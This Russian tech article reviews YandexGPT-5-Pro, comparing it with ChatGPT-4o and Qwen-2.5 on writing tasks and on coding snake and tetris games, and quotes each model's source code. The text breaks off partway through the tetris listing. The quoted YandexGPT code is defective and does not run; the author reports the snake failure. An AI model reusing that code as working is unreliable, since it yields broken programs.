Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

YandexGPT-5: когда хотелось быть ChatGPT, но в душе всё ещё Алиса

451275b7d0cca888ef9cf41a5896e703.jpg

ИИ‑модели сменяют друг друга быстрее, чем новые айфоны. Теперь даже технологические гиганты предпочитают не строить модели с нуля, а брать за основу существующие решения и дообучать их под свои задачи. Вот и «Яндекс» не стал исключением: его новая модель YandexGPT-5, по сути, выросла из Qwen-2.5 — китайской нейросети, разработанной Alibaba.

Компания уверяет, что «пятый» не уступает ChatGPT-4o, а ещё — теперь умнее, логичнее, креативнее и кодит лучше предыдущих версий. Но прежде чем кивать на пресс‑релизы, давайте разберёмся: действительно ли YandexGPT-5-Pro в одной лиге с конкурентами или же это хорошая упаковка для всё того же «бота с российским паспортом»?

8e000604d18e45566fa558c164bc7aa7.jpeg

YandexGPT-5 — что за зверёк такой?

25 февраля 2025 года «Яндекс» представил свою новую ИИ‑модель YandexGPT-5. В дополнение к ней вышла облегчённая версия — YandexGPT-5-Lite, которую можно найти на HuggingFace.

Что под капотом YandexGPT-5? В последние годы стало ясно, что обучение языковых моделей — дело не только сложное, но и безумно дорогое. В результате многие компании предпочитают брать уже существующую открытую модель, дообучать её на своих данных и выпускать под своим брендом. Именно так поступил и «Яндекс» — его инсайдеры подтверждают, что YandexGPT-5 строился на базе китайской Qwen-2.5 потому, что та неожиданно показала лучшие результаты на русском языке, чем актуальные версии яндексовских моделей. Кстати, аналогичный подход использовал «Т‑Банк», выпустив свои T‑Lite и T‑Pro, также основанные на Qwen-2.5. Всё это значительно удешевляет процесс: вместо сотен мощных видеокарт теперь можно обойтись всего несколькими десятками (а иногда и единицами) GPU.

Что изменилось? YandexGPT-5 теперь лучше понимает не только русский, но и английский (доля англоязычных данных в датасете выросла с 14 до 30%). Хотя, как мне удалось обнаружить, модель может общаться и на других языках — неясно, почему компания акцентирует лишь на английском, ведь можно попросить её выдавать ответы и на множестве других языков. Вдобавок «Яндекс» заявляет, что обновлённый ИИ стал лучше писать код, решать логические задачи и выдавать более креативные решения.

Длина контекста осталась на уровне предыдущей, 4-й модели. Последний раз она увеличивалась в YandexGPT-4 — тогда контекст растянули с 8000 (YandexGPT-3) до 32 000 токенов. Для сравнения, другие сегодняшние модели часто имеют больший контекст: у ChatGPT-4o и DeepSeek‑r1 — 128 000 токенов, у Claude-3.7 — 200 000 токенов. Правда, в компании отмечают, что модель оперирует оптимизированным словарём токенов, благодаря чему 32 000 единиц у YandexGPT-5-Pro соответствуют 48 000 токенам модели Qwen-2.5–32-Base.

85a7f5132863e149365e8ec94fca4072.jpeg

Что говорят бенчмарки

По данным «Яндекса», новая нейросеть YandexGPT-5-Pro сопоставима по качеству ответов с ChatGPT-4o и в 64% случаев превосходит китайскую Qwen‑2.5–32B‑Instruct в решении стандартных задач. В частности, она даёт более точные ответы на фактовые вопросы, лучше следует инструкциям, однако математика — её слабое место.

a68102b4d2ac288fe68997a70f8fca57.jpeg65e7df1d43309e3ef878886d75d3c7da.png960fa0afe9e24a8cc074ed2383d8ac4d.png

Если взглянуть на бенчмарки, видно, что разница между сопоставляемыми моделями не столь велика:

  • MMLU (тест на знания по гуманитарным и техническим дисциплинам на уровне школы и вуза) дал YandexGPT-5-Pro 83% — на одном уровне с Qwen-2.5–32B‑Instruct и всего на 3% ниже, чем у ChatGPT-4o.

  • MMLU PRO, проверяющий более сложные вопросы, показал 68% — снова практически идентично результатам Qwen-2.5 и 4o.

  • DROP RU — русскоязычная адаптация бенчмарка DROP, оценивающая способность понимать тексты и извлекать информацию, — показала у YandexGPT-5-Pro точность 63%. Это лучше, чем у Qwen (+2%), но хуже, чем у ChatGPT (-5%).

  • IFEval RU, тест на понимание структурированных данных на русском языке, показывает 77% — здесь YandexGPT-5-Pro даже немного обходит конкурентов.

Но вот с HUMAN EVAL, проверяющим навыки программирования, всё неоднозначно. На графике YandexGPT-5-Pro почти сравнялся с ChatGPT-4o, но, если копнуть глубже, результаты тестов показывают, что он часто выдаёт нерабочий код. Так что к программированию «пятёрка» вряд ли готова — генерируемый код работает далеко не всегда.

Как получить доступ к YandexGPT-5-Pro

Всё, что нужно сделать, — это перейти на сайт «Алисы» (понадобится аккаунт в «Яндексе»). Сразу после этого в левом верхнем углу можно выбрать интересующую версию модели:

b533785d5ec448f9ac2acfdcc38055a9.png

Конечно, я выбрал максимум возможностей — YandexGPT-5-Pro, чтобы по полной протестировать новую разработку компании.

Кстати, на старте, в бесплатном режиме, доступно 20 запросов в день, если хочется больше — требуется «Про»‑подписка.

Но есть и ещё несколько способов обратиться к YandexGPT-5: это мобильные приложении «Алиса» и «„Яндекс“ — с „Алисой“», «Яндекс браузер» (мобильный и десктопный), а также разные умные устройства компании.

Для разработчиков предусмотрена API‑версия, доступная в Yandex Cloud AI Studio, а также интеграция модели в Yandex SpeechSense — сервис анализа коммуникаций.

Тесты YandexGPT-5-Pro и сравнения с ChatGPT-4o и Qwen-2.5-72B-Instruct

Для тестирования нейросети я подготовил несколько вопросов. Сравнивать её буду с двумя другими: это ChatGPT-4o и Qwen-2.5-72B‑Instruct.

Почему именно эти модели? Во‑первых, они тоже нерассуждающие. Кроме того, ChatGPT-4o — одна из самых популярных ИИ сегодня, да и «Яндекс» не раз сравнивал свой новый движок именно с ним, — хотелось убедиться, что это действительно так. Qwen-2.5-72B‑Instruct тоже тесно связана: YandexGPT-5-Pro, как упоминалось, построена на основе схожей версии, дистиллята Qwen-2.5–32B‑Instruct. Ну и в общем, большинство современных LLM уже рассуждающие, так что круг конкурентов сузился сам собой.

Итак, начнём. Я подготовил 7 вопросов — причём все они являются уникальными, чтобы избежать случаев, когда у модели уже теоретически могут быть готовы ответы (ведь если бы эти вопросы уже были в интернете, модель могла бы знать о них заранее).

Какие тесты прошли модели:

  • Составление заголовков к тексту;

  • Рерайт текста;

  • Контент‑план для телеграм‑канала зоомагазина;

  • Написание игры — змейка (HTML/CSS/JS);

  • Вторая игра — тетрис (HTML/CSS/JS);

  • Создание описаний к новым сериям «Офиса»;

  • Логико‑математическая задача: пароль от лаборатории.

Ответы приводятся скриншотами, иногда — в виде исходного кода и интерактивных веб‑страниц (CodePen).

Стоит отметить один из минусов YandexGPT-5-Pro — он немультимодален, модель не умеет анализировать изображения и документы. Поэтому все промты будут только в виде текста (несмотря на то что один из оппонентов, 4o, поддерживает мультимодальный ввод).

Составление заголовков к тексту

Придумай десять заголовков для этой статьи.

----------

Кофе — не просто напиток, а неотъемлемая часть повседневной жизни миллионов людей. От ароматного эспрессо до нежного латте, его приготовление превратилось в искусство, где технологии играют ключевую роль. За последние десятилетия кофеварки прошли путь от простых гейзерных устройств до умных гаджетов, способных подстраиваться под индивидуальные предпочтения.

От кипячения к кастомизации: краткая история кофеварок

В середине XX века первые электрические кофеварки упростили процесс заваривания, заменив ручные методы. Однако настоящая революция началась с появления капсульных систем в 90-х, которые предложили скорость и разнообразие вкусов. Сегодня рынок переживает новый виток: устройства с поддержкой вайфая, датчиками помола и мобильными приложениями позволяют не только варить кофе одним касанием экрана, но и анализировать привычки пользователей.

Экология в каждой чашке

Производители всё чаще делают ставку на устойчивое развитие: например, Nespresso внедряет перерабатываемые алюминиевые капсулы, а Bosch разрабатывает модели с пониженным энергопотреблением. Тем не менее споры вокруг одноразовых капсул продолжаются — критики отмечают, что переход на многоразовые фильтры или френч‑прессы остаётся самым экологичным выбором.

Умные технологии и будущее кофепития

Современные кофеварки, такие как Sage Oracle Touch, объединяют функции баристы и робота: они автоматически перемалывают зёрна, взбивают молоко и даже обучаются через ИИ, запоминая любимые рецепты. Тренд на персонализацию набирает обороты — уже к 2026 году ожидается рост рынка умных кофемашин на 25%. Эксперты прогнозируют интеграцию с умным домом: представьте, что ваше устройство начинает готовить капучино, как только вы отключаете будильник на смартфоне.

Заключение

Кофеварки перестали быть просто кухонной техникой, превратившись в символ баланса между традицией и инновациями. Они экономят время, снижают нагрузку на природу и дарят свободу экспериментов — будь то редкий сорт из Эфиопии или авторский рецепт с корицей. Какой будет следующая глава в этой эволюции? Пока ясно одно: утро начинается не с кофе, а с технологии, которая его готовит.

YandexGPT-5-Pro

0ad43d00b76ea6c59dccab120c0732a9.png

ChatGPT-4o

59144fa55dc5fd566aa70af6b294b631.png

Qwen-2.5-72B-Instruct

7dc1e1bc47f1ef4d61c2b505d3398744.png

Что тут можно сказать? Ответы YandexGPT-5-Pro кажутся более современными и соответствующими тому, что принято называть инфостилем. Не менее чем половина ответов нейросетей‑оппонентов выглядят более консервативно, и их скорее можно встретить в печатных газетах, чем современных интернет‑изданиях.

YandexGPT-5-Pro: ★★★★★
ChatGPT-4o: ★★★★☆
Qwen-2.5-72B‑Instruct: ★★★★☆

Рерайт текста

В релизах YandexGPT не раз подчёркивалось, что эта модель лучше адаптирована для русскоязычных контекстов. Кроме того, как мы увидели в результатах бенчмарка DROP RU, текущая модель примерно соответствует уровню Qwen-2.5–32B‑Instruct и ChatGPT-4o. Давайте убедимся во всём этом в задаче на переписывание рекламного текста.

Задание немного необычное — оно предполагает рерайт текста от лица рекламируемого товара. Я не указывал, насколько рерайт должен соответствовать оригиналу, поэтому посмотрим, как модели интерпретировали запрос.

Перепиши этот рекламный текст от лица лампы.

----------

Умная лампа «Люминова-Про» — это революция в освещении для дома и офиса. Благодаря технологии Adaptive Spectral Sync, устройство автоматически подстраивает цветовую температуру (от 1800 K до 6500 K) под ваш циркадный ритм, улучшая качество сна.

Ключевые особенности:
• Энергоэффективность — потребляет на 60% меньше энергии, чем аналоги, с сертификатом EnergyStar++.
• Голосовое управление — полная совместимость с голосовыми помощниками.
• Экодизайн — корпус из переработанного алюминия и биоразлагаемая упаковка.
• Режимы освещения — «Фокус», «Релакс» и «Кинотеатр», с точностью цветопередачи 98% (CRI).
• Мобильное приложение — персонализация через нейросеть, анализирующую ваши привычки.

Для кого это?

Идеально для дизайнеров, работающих из дома, родителей, заботящихся о здоровье детей, и экоэнтузиастов. В комплекте — пожизненная гарантия и бесплатная замена при любом заводском браке.

Философия бренда: освещение должно не просто работать, а улучшать качество жизни, не жертвуя планетой.

YandexGPT-5-Pro

129f5ddfae0a0048eaad974597adcaca.png

ChatGPT-4o

c7ffda8f33b0ac0f2d058c62b0516028.png

Qwen-2.5-72B-Instruct

e5dbfd409e2c3d2a10e3afb28ebea35f.png

На первый взгляд, ответ YandexGPT-5-Pro кажется более динамичным и современным, но, если присмотреться, он примерно на одном уровне с ChatGPT-4o — разница лишь в стиле подачи; один немного живее, другой формальнее, но оба справились на твёрдую четвёрку. А вот Qwen-2.5-72B‑Instruct заметно слабее: встречаются штампы, речевые шероховатости и в целом текст выглядит менее естественным.

YandexGPT-5-Pro: ★★★★☆
ChatGPT-4o: ★★★★☆
Qwen-2.5-72B‑Instruct: ★★★☆☆

Контент-план для телеграм-канала зоомагазина

Ты специалист по контент‑маркетингу. Составь подробный контент‑план (с описаниями) для телеграм‑канала зоомагазина.

YandexGPT-5-Pro

Скрытый текст
2de58c3b5412e77a872fbf7fded32a65.png

ChatGPT-4o

Скрытый текст
aed51e32ccd31f4c1234174c7464ac11.png

Qwen-2.5-72B-Instruct

Скрытый текст
fe10d673190f461f5eb035d2f838f34a.png

Оба фаворита, YandexGPT-5-Pro и ChatGPT-4o, предложили детальные и разноплановые контент‑стратегии, охватывая не только продуктовые посты, но и интерактивные форматы, причём их подходы местами сильно различаются (несмотря на значительную длину, предполагающую бо́льшую вероятность повторений). Qwen-2.5-72B‑Instruct тоже справился неплохо, но его план менее креативен.

YandexGPT-5-Pro: ★★★★★
ChatGPT-4o: ★★★★★
Qwen-2.5-72B‑Instruct: ★★★★☆

Написание игры: змейка

Хотя, по заверениям «Яндекса», новый YandexGPT-5-Pro гораздо лучше справляется с написанием кода, тем не менее многие пользователи заявляют, что ничего не изменилось и она пишет код «всё так же плохо», как прошлая версия (привет, жестокий мир). Кто же на самом деле прав и как дела обстоят в действительности?

Напиши веб‑версию игры: змейка (на HTML+CSS+JavaScript, одним HTML‑файлом). Для управления применяются клавиши‑стрелки, а также WASD.

YandexGPT-5-Pro

Исходный код
<!DOCTYPE html>
<html lang="ru">

<head>
    <meta charset="UTF-8">
    <title>Змейка</title>
    <style>
    body {
        margin: 0;
        padding: 0;
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        background: #222;
    }

    #game-container {
        width: 400px;
        height: 400px;
        display: grid;
        grid-template-columns: repeat(20, 1fr);
        grid-template-rows: repeat(20, 1fr);
        border: 2px solid #333;
        box-shadow: 0 0 10px #000;
    }

    .snake-part {
        background: #0f0;
        border-radius: 4px;
    }

    .food {
        background: #f00;
        border-radius: 50%;
    }

    .score-board {
        position: absolute;
        top: 10px;
        left: 10px;
        color: #fff;
        font-family: Arial, sans-serif;
        font-size: 16px;
    }
    </style>
</head>

<body>
    <div id="game-container"></div>
    <div>
        <p>Счет: <span id="score">0</span></p>
        <p>Уровень: <span id="level">1</span></p>
    </div>
    <script>
    const gameContainer = document.getElementById('game-container');
    let snake = [{ x: 10, y: 10 }];
    let dx = 1,
        dy = 0;
    let food = getRandomPosition();
    let score = 0;
    let level = 1;
    let intervalId;

    function startGame() {
        createSnake();
        createFood();
        intervalId = setInterval(move, 1000 / level);
        document.addEventListener('keydown', handleKeyPress);
    }

    function createSnake() {
        snake.forEach(segment => {
            const snakePart = document.createElement('div');
            snakePart.classList.add('snake-part');
            snakePart.style.gridRow = segment.y + 1;
            snakePart.style.gridColumn = segment.x + 1;
            gameContainer.appendChild(snakePart);
        });
    }

    function createFood() {
        const foodElement = document.createElement('div');
        foodElement.classList.add('food');
        foodElement.style.gridRow = food.y + 1;
        foodElement.style.gridColumn = food.x + 1;
        gameContainer.appendChild(foodElement);
    }

    function move() {
        const head = { x: snake[0].x + dx, y: snake[0].y + dy };

        // Проверка на столкновение с собой
        if (snake.some(segment => segment.x === head.x && segment.y === head.y)) {
            gameOver();
            return;
        }

        // Проверка на выход за границы
        if (head.x < 0 || head.x >= 20 || head.y < 0 || head.y >= 20) {
            gameOver();
            return;
        }

        snake.unshift(head);

        // Если съели еду
        if (head.x === food.x && head.y === food.y) {
            food = getRandomPosition();
            score++;
            updateScore();
            if (score % 5 === 0) {
                level++;
                clearInterval(intervalId);
                intervalId = setInterval(move, 1000 / level);
            }
            createFood();
        } else {
            snake.pop();
            const lastSegment = snake[snake.length - 1];
            const lastElement = gameContainer.lastChild;
            gameContainer.removeChild(lastElement);
        }

    }
    // Продолжаем с места, где код был обрезан

    // Обновление позиции змеи
    const snakeElements = Array.from(gameContainer.children);
    snakeElements.forEach((element, index) => {
        element.style.gridRow = snake[index].y + 1;
        element.style.gridColumn = snake[index].x + 1;
    });

    // Функция получения случайной позиции
    function getRandomPosition() {
        return {
            x: Math.floor(Math.random() * 20),
            y: Math.floor(Math.random() * 20)
        };
    }

    // Обработка нажатий клавиш
    function handleKeyPress(event) {
        const key = event.key;

        if (key === 'ArrowRight' || key === 'd') {
            dx = 1;
            dy = 0;
        } else if (key === 'ArrowLeft' || key === 'a') {
            dx = -1;
            dy = 0;
        } else if (key === 'ArrowUp' || key === 'w') {
            dx = 0;
            dy = -1;
        } else if (key === 'ArrowDown' || key === 's') {
            dx = 0;
            dy = 1;
        }
    }

    // Обновление счета
    function updateScore() {
        document.getElementById('score').textContent = score;
        document.getElementById('level').textContent = level;
    }

    // Обработка проигрыша
    function gameOver() {
        clearInterval(intervalId);
        alert('Игра окончена! Ваш счет: ' + score);

        // Сброс игры
        snake = [{ x: 10, y: 10 }];
        dx = 1;
        dy = 0;
        food = getRandomPosition();
        score = 0;
        level = 1;

        // Очистка игрового поля
        while (gameContainer.firstChild) {
            gameContainer.removeChild(gameContainer.firstChild);
        }

        // Перезапуск игры
        startGame();
    }

    // Инициализация игры
    snake = [{ x: 10, y: 10 }];
    startGame();

    // Конец скрипта
    </script>

ChatGPT-4o

Исходный код
<!DOCTYPE html>
<html lang="ru">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Змейка</title>
    <style>
    body {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        margin: 0;
        background-color: #f0f0f0;
    }

    canvas {
        background-color: #000;
    }
    </style>
</head>

<body>
    <canvas id="gameCanvas" width="400" height="400"></canvas>
    <script>
    const canvas = document.getElementById('gameCanvas');
    const ctx = canvas.getContext('2d');

    const gridSize = 20;
    const tileCount = canvas.width / gridSize;

    let snake = [{ x: 10, y: 10 }];
    let direction = { x: 0, y: 0 };
    let food = { x: 15, y: 15 };
    let score = 0;

    function drawGame() {
        clearCanvas();
        drawSnake();
        drawFood();
        moveSnake();
        checkCollision();
        drawScore();
    }

    function clearCanvas() {
        ctx.fillStyle = 'black';
        ctx.fillRect(0, 0, canvas.width, canvas.height);
    }

    function drawSnake() {
        ctx.fillStyle = 'lime';
        snake.forEach(segment => {
            ctx.fillRect(segment.x * gridSize, segment.y * gridSize, gridSize, gridSize);
        });
    }

    function drawFood() {
        ctx.fillStyle = 'red';
        ctx.fillRect(food.x * gridSize, food.y * gridSize, gridSize, gridSize);
    }

    function moveSnake() {
        const head = { x: snake[0].x + direction.x, y: snake[0].y + direction.y };
        snake.unshift(head);

        if (head.x === food.x && head.y === food.y) {
            score += 10;
            placeFood();
        } else {
            snake.pop();
        }
    }

    function placeFood() {
        food.x = Math.floor(Math.random() * tileCount);
        food.y = Math.floor(Math.random() * tileCount);
    }

    function checkCollision() {
        const head = snake[0];

        if (head.x < 0 || head.x >= tileCount || head.y < 0 || head.y >= tileCount) {
            resetGame();
        }

        for (let i = 1; i < snake.length; i++) {
            if (head.x === snake[i].x && head.y === snake[i].y) {
                resetGame();
            }
        }
    }

    function drawScore() {
        ctx.fillStyle = 'white';
        ctx.font = '20px Arial';
        ctx.fillText(`Score: ${score}`, 10, 20);
    }

    function resetGame() {
        snake = [{ x: 10, y: 10 }];
        direction = { x: 0, y: 0 };
        score = 0;
        placeFood();
    }

    function changeDirection(event) {
        const keyPressed = event.key;
        const LEFT = 37;
        const UP = 38;
        const RIGHT = 39;
        const DOWN = 40;

        if (keyPressed === 'ArrowUp' || keyPressed === 'w' || event.keyCode === UP) {
            if (direction.y === 0) {
                direction = { x: 0, y: -1 };
            }
        } else if (keyPressed === 'ArrowDown' || keyPressed === 's' || event.keyCode === DOWN) {
            if (direction.y === 0) {
                direction = { x: 0, y: 1 };
            }
        } else if (keyPressed === 'ArrowLeft' || keyPressed === 'a' || event.keyCode === LEFT) {
            if (direction.x === 0) {
                direction = { x: -1, y: 0 };
            }
        } else if (keyPressed === 'ArrowRight' || keyPressed === 'd' || event.keyCode === RIGHT) {
            if (direction.x === 0) {
                direction = { x: 1, y: 0 };
            }
        }
    }

    document.addEventListener('keydown', changeDirection);

    setInterval(drawGame, 100);
    </script>
</body>

</html>

Qwen-2.5-72B-Instruct

Исходный код
<!DOCTYPE html>
<html lang="ru">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Змейка</title>
    <style>
    body {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
        margin: 0;
        background-color: #f0f0f0;
    }

    canvas {
        background-color: #000;
    }
    </style>
</head>

<body>
    <canvas id="gameCanvas" width="400" height="400"></canvas>
    <script>
    const canvas = document.getElementById('gameCanvas');
    const ctx = canvas.getContext('2d');

    const gridSize = 20;
    const tileCount = canvas.width / gridSize;

    let snake = [{ x: 10, y: 10 }];
    let direction = { x: 0, y: 0 };
    let food = { x: 15, y: 15 };
    let score = 0;

    function drawGame() {
        clearCanvas();
        drawSnake();
        drawFood();
        moveSnake();
        checkCollision();
        drawScore();
    }

    function clearCanvas() {
        ctx.fillStyle = 'black';
        ctx.fillRect(0, 0, canvas.width, canvas.height);
    }

    function drawSnake() {
        ctx.fillStyle = 'lime';
        snake.forEach(segment => {
            ctx.fillRect(segment.x * gridSize, segment.y * gridSize, gridSize, gridSize);
        });
    }

    function drawFood() {
        ctx.fillStyle = 'red';
        ctx.fillRect(food.x * gridSize, food.y * gridSize, gridSize, gridSize);
    }

    function moveSnake() {
        const head = { x: snake[0].x + direction.x, y: snake[0].y + direction.y };
        snake.unshift(head);

        if (head.x === food.x && head.y === food.y) {
            score += 10;
            placeFood();
        } else {
            snake.pop();
        }
    }

    function placeFood() {
        food.x = Math.floor(Math.random() * tileCount);
        food.y = Math.floor(Math.random() * tileCount);
    }

    function checkCollision() {
        const head = snake[0];

        if (head.x < 0 || head.x >= tileCount || head.y < 0 || head.y >= tileCount) {
            resetGame();
        }

        for (let i = 1; i < snake.length; i++) {
            if (head.x === snake[i].x && head.y === snake[i].y) {
                resetGame();
            }
        }
    }

    function drawScore() {
        ctx.fillStyle = 'white';
        ctx.font = '20px Arial';
        ctx.fillText(`Score: ${score}`, 10, 20);
    }

    function resetGame() {
        snake = [{ x: 10, y: 10 }];
        direction = { x: 0, y: 0 };
        score = 0;
        placeFood();
    }

    function changeDirection(event) {
        const keyPressed = event.key;
        const LEFT = 37;
        const UP = 38;
        const RIGHT = 39;
        const DOWN = 40;

        if (keyPressed === 'ArrowUp' || keyPressed === 'w' || event.keyCode === UP) {
            if (direction.y === 0) {
                direction = { x: 0, y: -1 };
            }
        } else if (keyPressed === 'ArrowDown' || keyPressed === 's' || event.keyCode === DOWN) {
            if (direction.y === 0) {
                direction = { x: 0, y: 1 };
            }
        } else if (keyPressed === 'ArrowLeft' || keyPressed === 'a' || event.keyCode === LEFT) {
            if (direction.x === 0) {
                direction = { x: -1, y: 0 };
            }
        } else if (keyPressed === 'ArrowRight' || keyPressed === 'd' || event.keyCode === RIGHT) {
            if (direction.x === 0) {
                direction = { x: 1, y: 0 };
            }
        }
    }

    document.addEventListener('keydown', changeDirection);

    setInterval(drawGame, 100);
    </script>
</body>

</html>

Итак, начнём с неутешительного результата YandexGPT-5-Pro… в котором игра попросту не запускается. Каждый матч тут выглядит идентично: появляется зародыш змейки, один‑два фрукта, затем они поочерёдно исчезают, а спустя пару секунд всплывает торжественное «Игра окончена! Ваш счёт: 0» (я закомментил эту строку на CodePen, так как алерт выводится в верхнеуровневом окне, прямо на «Хабре»). К слову, сама модель иногда честно признаётся: «Я пока не эксперт в программировании, но постараюсь помочь» — видимо, стоит воспринимать это буквально.

Кстати, исходный код в интерфейсе YandexGPT-5-Pro не имеет подсветки, а ешё его нельзя скопировать одной кнопкой (нужно выделять вручную). Вообще говоря, эти моменты довольно‑таки несложны с точки зрения реализации, поэтому их я бы исправил в первую очередь, например привинтив в черновом режиме какую‑нибудь веб‑библиотеку для автоопределения и автоподсветки кода. Например, в ChatGPT так и сделано — язык определяется на ходу (и иногда это выглядит кривовато, но лучше, чем ничего).

Минус‑два: количество токенов, выводимых за одно сообщение, очень ограничено. При этом здесь даже не появилось сообщения о продолжении — текст исходного кода просто обрубался после вывода энного количества токенов. Повезло, что можно попросить нейросеть продолжить вывод (например, написав «Сообщение обрезалось, продолжи»), именно так я и поступил.

Теперь к оппонентам. Их результаты примерно схожи, немного различаются дизайном (цветами и присутствием индикатора счёта), но из‑за различия в обработке значений event.key/event.keyCode Qwen-2.5-72B‑Instruct поддерживает ввод WASD только при английской раскладке, в то время как в версии ChatGPT-4o он не зависит от языка. Поэтому генерации от 4o большой плюсик в виде дополнительного балла.

В общем, в очередной раз делаем вывод, что без режима рассуждений сегодня LLM‑моделям в программировании делать уже нечего, от слова «совсем». Ждём YandexGPT-6, скрестив пальцы.

YandexGPT-5-Pro: ★☆☆☆☆
ChatGPT-4o: ★★★★★
Qwen-2.5-72B‑Instruct: ★★★★☆

Ещё одна игра: тетрис

Напиши веб‑версию игры: тетрис (на HTML+CSS+JavaScript, одним HTML‑файлом). Для управления применяются клавиши‑стрелки и WASD, для поворота фигуры — пробел.

YandexGPT-5-Pro

Исходный код
<!DOCTYPE html>
<html>

<head>
    <title>Тетрис</title>
    <style>
    body {
        margin: 0;
        padding: 0;
        background-color: #222;
        display: flex;
        justify-content: center;
        align-items: center;
        height: 100vh;
    }

    .game-container {
        width: 300px;
        height: 600px;
        background-color: #000;
        display: flex;
        flex-direction: column;
        justify-content: center;
        align-items: center;
        border: 4px solid #fff;
        border-radius: 10px;
        position: relative;
    }

    .game-board {
        width: 300px;
        height: 600px;
        display: grid;
        grid-template-columns: repeat(10, 30px);
        grid-template-rows: repeat(20, 30px);
        gap: 1px;
        background-color: #333;
    }

    .cell {
        width: 30px;
        height: 30px;
        background-color: #fff;
        border-radius: 4px;
    }

    .score-board {
        margin-bottom: 20px;
        color: #fff;
        font-family: Arial, sans-serif;
        font-size: 24px;
    }

    .game-over-screen {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(0, 0, 0, 0.8);
        display: flex;
        flex-direction: column;
        justify-content: center;
        align-items: center;
        color: #fff;
        font-family: Arial, sans-serif;
        font-size: 36px;
        text-align: center;
        display: none;
    }

    .game-over-screen.active {
        display: flex;
    }
    </style>
</head>

<body>
    <div>
        <div>
            <p>Счет: <span id="score">0</span></p>
            <p>Уровень: <span id="level">1</span></p>
        </div>
        <div></div>
        <div>
            <h1>Игра окончена!</h1>
            <p>Ваш счет: <span id="final-score"></span></p>
            <button onclick="restartGame()">Начать заново</button>
        </div>
    </div>
    <script>
    // Настройки игры
    const BOARD_WIDTH = 10;
    const BOARD_HEIGHT = 20;
    const CELL_SIZE = 30;
    const SHAPE_SIZE = 4;
    let score = 0;
    let level = 1;
    let dropInterval = 1000;
    let gameOver = false;

    // Фигуры
    const shapes = [
        [
            [1, 1, 1, 1],
            [0, 0, 0, 0],
            [0, 0, 0, 0],
            [0, 0, 0, 0]
        ],
        [
            [1, 1],
            [1, 1]
        ],
        [
            [1, 1, 1],
            [0, 1, 0],
            [0, 0, 0]
        ],
        [
            [0, 1, 1],
            [1, 1, 0],
            [0, 0, 0]
        ],
        [
            [1, 1, 0],
            [0, 1, 1],
            [0, 0, 0]
        ],

        // Продолжение массива фигур
        [
            0, 1, 1,
            1, 1, 0,
            0, 0, 0
        ],
        [
            1, 0, 0,
            1, 1, 1,
            0, 0, 0
        ],
        [
            0, 0, 1,
            1, 1, 1,
            0, 0, 0
        ]
    ];

    // Массив цветов для фигур
    const colors = [
        '#4D90FE',
        '#FF6B6B',
        '#FFD166',
        '#48CFAD',
        '#3F51B5',
        '#E67E22',
        '#ECF0F1'
    ];

    // Создаем игровое поле
    let board = [];
    for (let y = 0; y < BOARD_HEIGHT; y++) {
        board[y] = [];
        for (let x = 0; x < BOARD_WIDTH; x++) {
            board[y][x] = 0;
        }
    }

    // Текущая фигура
    let currentShape = {
        shape: null,
        x: 0,
        y: 0,
        color: null
    };

    // Создаем DOM элементы
    const gameBoard = document.querySelector('.game-board');
    const scoreDisplay = document.getElementById('score');
    const levelDisplay = document.getElementById('level');
    const finalScoreDisplay = document.getElementById('final-score');

    // Инициализация
    function init() {
        // Создаем ячейки
        for (let y = 0; y < BOARD_HEIGHT; y++) {
            for (let x = 0; x < BOARD_WIDTH; x++) {
                const cell = document.createElement('div');
                cell.classList.add('cell');
                gameBoard.appendChild(cell);
            }
        }

        // Запускаем новую фигуру
        dropInterval = 1000;
        gameOver = false;
        score = 0;
        level = 1;
        updateScore();
        updateLevel();
        newShape();
        setInterval(moveDown, dropInterval);
    }

    // Обновление счета
    function updateScore() {
        scoreDisplay.textContent = score;
    }

    // Обновление уровня
    function updateLevel() {
        levelDisplay.textContent = level;
    }

    // Создание новой фигуры
    function newShape() {
        const random = Math.floor(Math.random() * shapes.length);
        currentShape = {
            shape: shapes[random],
            x: (BOARD_WIDTH / 2) - (SHAPE_SIZE / 2),
            y: 0,
            color: colors[random]
        };

        // Проверяем, не началась ли игра с проигрышем
        if (checkCollision(0, 0, currentShape.shape)) {
            gameOver = true;
            document.querySelector('.game-over-screen').classList.add('active');
            finalScoreDisplay.textContent = score;
            clearInterval(dropInterval);
        }
    }

    // Проверка столкновений
    function checkCollision(x, y, shape) {
        for (let y0 = 0; y0 < SHAPE_SIZE; y0++) {
            for (let x0 = 0; x0 < SHAPE_SIZE; x0++) {
                const cy = y + y0;
                const cx = x + x0;
                if (shape[y0][x0]) {
                    if (cy >= BOARD_HEIGHT || cx >= BOARD_WIDTH || cx < 0 || board[cy][cx]) {
                        return true;
                    }
                }
            }
        }
        return false;
    }

    // Очистка строки
    function clearLine(y) {
        for (let i = y; i > 0; i--) {
            board[i] = board[i - 1];
        }
        board[0] = board[0].map(() => 0);
    }

    // Проверка и очистка полных строк
    function checkLines() {
        let lines = 0;
        for (let y = BOARD_HEIGHT - 1; y >= 0; y--) {
            let complete = true;
            for (let x = 0; x < BOARD_WIDTH; x++) {
                if (!board[y][x]) {
                    complete = false;
                    break;
                }
            }
            if (complete) {
                clearLine(y);
                lines++;
            }
        }

        if (lines > 0) {
            score += lines * 100;
            updateScore();




            // Продолжение функции checkLines

            level = Math.floor(score / 100) + 1;
            updateLevel();

            // Обновляем скорость падения
            dropInterval = 1000 - (level * 50);
            clearInterval(dropInterval);
            setInterval(moveDown, dropInterval);
        }

        // Отрисовка фигуры
        function drawShape(shape, x, y, color) {
            for (let y0 = 0; y0 < SHAPE_SIZE; y0++) {
                for (let x0 = 0; x0 < SHAPE_SIZE; x0++) {
                    if (shapey0x0) {
                        const cell = getCell(x + x0, y + y0);
                        cell.style.backgroundColor = color;
                    }
                }
            }
        }

        // Очистка фигуры
